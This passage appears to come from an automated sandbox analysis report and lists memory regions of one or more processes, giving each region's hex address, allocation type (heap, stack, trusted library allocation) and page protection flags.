page read and write
AB0000
trusted library allocation
page read and write
2D8B000
heap
page read and write
4A41000
heap
page read and write
6001000
heap
page read and write
C59A779000
stack
page read and write
29F6D9D2000
heap
page read and write
4F6B000
heap
page read and write
D978D9A000
stack
page read and write
8A8E000
stack
page read and write
4A17EF5000
stack
page read and write
4A186FB000
stack
page read and write
2880B541000
trusted library allocation
page read and write
7FFD9B983000
trusted library allocation
page execute and read and write
7360000
trusted library allocation
page read and write
2D24000
heap
page read and write
1C3F6BE5000
heap
page read and write
4A63000
heap
page read and write
4F3F000
heap
page read and write
2880A141000
trusted library allocation
page read and write
1C3F600B000
heap
page read and write
5BD0000
heap
page read and write
612B000
heap
page read and write
1C3F6007000
heap
page read and write
29F6D9E4000
heap
page read and write
769D000
stack
page read and write
1C2DB100000
heap
page execute and read and write
1C3F5FF0000
heap
page read and write
4F44000
heap
page read and write
5556000
trusted library allocation
page read and write
4D63000
trusted library allocation
page execute and read and write
1C3F5F54000
heap
page read and write
7D90000
trusted library allocation
page read and write
4A18AFB000
stack
page read and write
1C3F3DF4000
heap
page read and write
B6F000
heap
page read and write
7521000
trusted library allocation
page read and write
1C3F5C60000
heap
page read and write
5987000
heap
page read and write
1F06A9BA000
heap
page read and write
4A41000
heap
page read and write
1C3F5C8E000
heap
page read and write
1C3F3F70000
heap
page read and write
7220000
heap
page execute and read and write
1C3F5FAC000
heap
page read and write
5DDA000
heap
page read and write
246E76D4000
heap
page read and write
2520000
heap
page read and write
4F51000
heap
page read and write
5919000
heap
page read and write
7390000
trusted library allocation
page read and write
27EA000
heap
page read and write
C59A87E000
stack
page read and write
C59B54B000
stack
page read and write
8C95000
trusted library allocation
page read and write
5827000
heap
page read and write
2760000
heap
page read and write
4A187FF000
stack
page read and write
55DE000
stack
page read and write
256E000
stack
page read and write
1C3F6D19000
heap
page read and write
4820000
heap
page read and write
2DAE000
heap
page read and write
1C2DBBAA000
trusted library allocation
page read and write
4A5B000
heap
page read and write
A4F000
stack
page read and write
1C3F6BD4000
heap
page read and write
4D8A000
trusted library allocation
page execute and read and write
2AEF000
unkown
page read and write
1C3F600E000
heap
page read and write
544E000
stack
page read and write
1C3F6BD3000
heap
page read and write
1C2DB541000
trusted library allocation
page read and write
1C3F5F2C000
heap
page read and write
4A24000
heap
page read and write
5030000
heap
page read and write
4A3B000
heap
page read and write
D9794FF000
stack
page read and write
1C2DB888000
trusted library allocation
page read and write
7E6E000
stack
page read and write
58EC000
heap
page read and write
80E0000
heap
page read and write
1F06A970000
heap
page read and write
246E76B0000
heap
page read and write
4A5B000
heap
page read and write
5DC3000
heap
page read and write
2DEE000
stack
page read and write
4A41000
heap
page read and write
1C3F6CDE000
heap
page read and write
29F6D9A5000
heap
page read and write
499E000
stack
page read and write
246E7930000
heap
page read and write
4F51000
heap
page read and write
29F6DAD1000
heap
page read and write
7203000
heap
page read and write
554A000
trusted library allocation
page read and write
1C2F376B000
heap
page read and write
27E6000
heap
page read and write
4A30000
heap
page read and write
6388000
trusted library allocation
page read and write
2D8B000
heap
page read and write
88C0000
trusted library allocation
page read and write
5F63000
heap
page read and write
1C2F36FF000
heap
page read and write
4F31000
heap
page read and write
1C2F3980000
heap
page read and write
5950000
heap
page read and write
1C2DB520000
trusted library allocation
page read and write
AA0000
trusted library allocation
page read and write
2AB0000
heap
page read and write
1C3F3E2B000
heap
page read and write
1C3F6D10000
heap
page read and write
1C3F3E52000
heap
page read and write
956000
heap
page read and write
7B93000
heap
page read and write
5590000
heap
page read and write
29F6DA0B000
heap
page read and write
29F6DA04000
heap
page read and write
5BE4000
heap
page read and write
47DE000
stack
page read and write
4A5C000
heap
page read and write
5BF1000
heap
page read and write
5786000
heap
page read and write
29F6D9D4000
heap
page read and write
1C2F3697000
heap
page execute and read and write
4A183FF000
stack
page read and write
1F06A967000
heap
page read and write
1C3F5C8E000
heap
page read and write
1C2DBA58000
trusted library allocation
page read and write
4A5E000
heap
page read and write
7D20000
trusted library allocation
page read and write
1C3F5C8E000
heap
page read and write
71C7000
heap
page read and write
5DCD000
heap
page read and write
584B8FF000
stack
page read and write
4F51000
heap
page read and write
2D9B000
heap
page read and write
5818000
heap
page read and write
7720000
heap
page read and write
1C3F6710000
trusted library allocation
page read and write
1C3F5F70000
heap
page read and write
2880AB41000
trusted library allocation
page read and write
4300000
heap
page read and write
7D2B000
trusted library allocation
page read and write
28808317000
trusted library allocation
page read and write
52FE000
stack
page read and write
34C0000
heap
page read and write
7FFD9BB20000
trusted library allocation
page read and write
1C3F3E27000
heap
page read and write
4F0C000
stack
page read and write
5460000
remote allocation
page read and write
C59B44E000
stack
page read and write
1F06A951000
heap
page read and write
1F06C800000
trusted library allocation
page read and write
9347000
trusted library allocation
page read and write
1C3F5F5C000
heap
page read and write
7540000
trusted library allocation
page read and write
65CF000
stack
page read and write
5F5F000
trusted library allocation
page read and write
6115000
heap
page read and write
1F06A990000
heap
page read and write
29F6D9B3000
heap
page read and write
1C3F5F5A000
heap
page read and write
1C3F6B15000
heap
page read and write
59CE000
heap
page read and write
1C2D9780000
heap
page read and write
1C2EB514000
trusted library allocation
page read and write
5902000
heap
page read and write
59D1000
trusted library allocation
page read and write
1C3F3E52000
heap
page read and write
AE5000
trusted library allocation
page execute and read and write
5797000
heap
page read and write
27DE000
heap
page read and write
B50000
heap
page read and write
7B12000
heap
page read and write
4D79000
trusted library allocation
page read and write
2763000
heap
page read and write
4F4A000
heap
page read and write
2789D5E000
unkown
page read and write
1C3F5FBA000
heap
page read and write
1C3F3E32000
heap
page read and write
29F6BC34000
heap
page read and write
1C3F6D1C000
heap
page read and write
5808000
heap
page read and write
29F6D9D6000
heap
page read and write
5DD8000
heap
page read and write
1F06A97B000
heap
page read and write
7D80000
trusted library allocation
page read and write
7CF0000
trusted library allocation
page read and write
7FFD9BC50000
trusted library allocation
page read and write
5050000
heap
page read and write
5BD4000
heap
page read and write
5845000
heap
page read and write
2DA9000
heap
page read and write
29F6D9FB000
heap
page read and write
5987000
heap
page read and write
1C3F5C90000
heap
page read and write
1C3F64D0000
heap
page read and write
7FFD9BC30000
trusted library allocation
page read and write
7201000
heap
page read and write
1C3F6D1C000
heap
page read and write
2CF0000
heap
page read and write
1C3F6D29000
heap
page read and write
7D40000
trusted library allocation
page read and write
3330000
heap
page read and write
1F06A950000
heap
page read and write
1C3F5C8E000
heap
page read and write
790F000
stack
page read and write
7410000
trusted library allocation
page read and write
1C3F5C76000
heap
page read and write
5919000
heap
page read and write
4F4A000
heap
page read and write
1C2DB5C0000
trusted library allocation
page read and write
5C73000
heap
page read and write
1C3F3E64000
heap
page read and write
6321000
trusted library allocation
page read and write
1C3F5C8E000
heap
page read and write
4F51000
heap
page read and write
7FFD9BA66000
trusted library allocation
page execute and read and write
4A17FFE000
stack
page read and write
1C3F3E13000
heap
page read and write
2880833E000
trusted library allocation
page read and write
584E000
heap
page read and write
5780000
heap
page read and write
2761000
heap
page read and write
5845000
heap
page read and write
521C000
stack
page read and write
4A41000
heap
page read and write
24F8000
stack
page read and write
1C3F5C64000
heap
page read and write
2DA8000
heap
page read and write
278A17D000
stack
page read and write
4E70000
heap
page read and write
5F81000
heap
page read and write
7FFD9B990000
trusted library allocation
page read and write
5BDD000
heap
page read and write
7370000
trusted library allocation
page read and write
2CFC000
heap
page read and write
29F6D9B9000
heap
page read and write
9323000
trusted library allocation
page read and write
1C2DB0D0000
trusted library allocation
page read and write
4E2E000
stack
page read and write
5C73000
heap
page read and write
29F6BAFC000
heap
page read and write
1C3F5C79000
heap
page read and write
5CCB000
heap
page read and write
1C2F3690000
heap
page execute and read and write
5955000
heap
page read and write
2C5E000
unkown
page read and write
7B3E000
heap
page read and write
643B000
stack
page read and write
1C2D97C0000
heap
page read and write
3560000
heap
page read and write
2738000
heap
page read and write
5DB7000
heap
page read and write
608C000
heap
page read and write
1C3F5F54000
heap
page read and write
7B08000
heap
page read and write
5DCD000
heap
page read and write
7FFD9BB80000
trusted library allocation
page read and write
4C70000
heap
page read and write
1F0689F8000
heap
page read and write
29F6DCD0000
heap
page read and write
29F6D9EC000
heap
page read and write
580C000
heap
page read and write
1C2F3890000
heap
page read and write
4A185FE000
stack
page read and write
4F6E000
heap
page read and write
5460000
remote allocation
page read and write
2C8E000
stack
page read and write
1F06A99D000
heap
page read and write
C59A2FE000
stack
page read and write
26F0000
heap
page read and write
1C2DB50E000
trusted library allocation
page read and write
1C3F6D1E000
heap
page read and write
940000
heap
page read and write
6D96000
trusted library allocation
page read and write
1F06A9A9000
heap
page read and write
4A5E000
heap
page read and write
99F000
stack
page read and write
4F30000
remote allocation
page read and write
7FFD9B98D000
trusted library allocation
page execute and read and write
4F34000
heap
page read and write
A00000
heap
page read and write
4F51000
heap
page read and write
1F06A98B000
heap
page read and write
1F068A0C000
heap
page read and write
33DF000
stack
page read and write
58F1000
heap
page read and write
580C000
heap
page read and write
4D64000
trusted library allocation
page read and write
1F06A97B000
heap
page read and write
4A41000
heap
page read and write
1C3F5C89000
heap
page read and write
2787000
heap
page read and write
52C0000
heap
page read and write
2880830E000
trusted library allocation
page read and write
586F000
heap
page read and write
58E2000
heap
page read and write
29F6D9D1000
heap
page read and write
2880831A000
trusted library allocation
page read and write
29F6BAEC000
heap
page read and write
1C3F6C8A000
heap
page read and write
28801F41000
trusted library allocation
page read and write
246E76D5000
heap
page read and write
8D01000
trusted library allocation
page read and write
753A000
trusted library allocation
page read and write
2720000
heap
page read and write
87C0000
trusted library allocation
page read and write
1C2D9829000
heap
page read and write
29F6D9F8000
heap
page read and write
4A21000
heap
page read and write
4A30000
trusted library allocation
page read and write
29F6BCF0000
heap
page read and write
7E10000
trusted library allocation
page read and write
1C2DBA0D000
trusted library allocation
page read and write
2E10000
heap
page read and write
2A30000
heap
page read and write
1C2F3850000
heap
page execute and read and write
1C3F6CD3000
heap
page read and write
1C2D9854000
heap
page read and write
1C3F3E24000
heap
page read and write
1F06A932000
heap
page read and write
7DA0000
trusted library allocation
page read and write
1C3F3E52000
heap
page read and write
7FFD9BC60000
trusted library allocation
page read and write
1C3F3DF6000
heap
page read and write
1F0689F9000
heap
page read and write
1C3F6CF9000
heap
page read and write
1C2DB90D000
trusted library allocation
page read and write
28809741000
trusted library allocation
page read and write
1C3F5C6E000
heap
page read and write
717E000
heap
page read and write
2880825F000
trusted library allocation
page read and write
1F06A964000
heap
page read and write
2DA1000
heap
page read and write
32AF000
stack
page read and write
5C73000
heap
page read and write
278A0FE000
stack
page read and write
C59B58F000
stack
page read and write
4F36000
heap
page read and write
584BBFF000
stack
page read and write
3320000
heap
page read and write
4BF7000
trusted library allocation
page read and write
6B6E000
trusted library allocation
page read and write
1C2DB490000
heap
page read and write
4F6E000
heap
page read and write
816E000
stack
page read and write
2760000
heap
page read and write
1C3F6510000
heap
page read and write
809D000
stack
page read and write
246E7700000
direct allocation
page read and write
5960000
trusted library allocation
page read and write
7E00000
trusted library allocation
page execute and read and write
D9790FF000
stack
page read and write
1F0689FF000
heap
page read and write
64CC000
stack
page read and write
6329000
trusted library allocation
page read and write
5DD1000
heap
page read and write
29F6D9B3000
heap
page read and write
4A182FF000
stack
page read and write
5959000
heap
page read and write
5C14000
heap
page read and write
58F0000
heap
page read and write
57A5000
heap
page read and write
5A8000
stack
page read and write
5700000
heap
page read and write
612E000
heap
page read and write
7C2E000
stack
page read and write
27E2000
heap
page read and write
881D000
stack
page read and write
7FFD9BB31000
trusted library allocation
page read and write
7B3C000
heap
page read and write
73C0000
trusted library allocation
page read and write
29F6BACB000
heap
page read and write
1C3F5C8F000
heap
page read and write
6C1D000
stack
page read and write
611D000
heap
page read and write
5804000
heap
page read and write
1F06A932000
heap
page read and write
7EAE000
stack
page read and write
2789DDE000
stack
page read and write
5F76000
heap
page read and write
27E4000
heap
page read and write
653C000
stack
page read and write
6093000
heap
page read and write
29F6BAD9000
heap
page read and write
C59A7FD000
stack
page read and write
1C2D97F1000
heap
page read and write
1C3F5C88000
heap
page read and write
5966000
heap
page read and write
1C3F3DC9000
heap
page read and write
4A38000
heap
page read and write
2AB5000
heap
page read and write
49A5000
heap
page execute and read and write
7FFD9BA36000
trusted library allocation
page read and write
1F068A24000
heap
page read and write
1C2DBA62000
trusted library allocation
page read and write
7FFD9BBC0000
trusted library allocation
page read and write
1C3F5F61000
heap
page read and write
1C3F6CC7000
heap
page read and write
C59AA7B000
stack
page read and write
2DE0000
heap
page read and write
5770000
heap
page read and write
5BE9000
heap
page read and write
4F33000
heap
page read and write
D9791FF000
stack
page read and write
4E77000
heap
page read and write
1C3F3DD7000
heap
page read and write
5460000
remote allocation
page read and write
2D85000
heap
page read and write
1C3F5F6F000
heap
page read and write
4A5E000
heap
page read and write
346F000
stack
page read and write
29F6DA38000
heap
page read and write
5791000
heap
page read and write
2787000
heap
page read and write
246E76E0000
heap
page read and write
1C3F5F2E000
heap
page read and write
57C6000
heap
page read and write
1C2DB5D4000
trusted library allocation
page read and write
49D1000
trusted library allocation
page read and write
4A184FC000
stack
page read and write
There are 1349 hidden memdumps, click here to show them.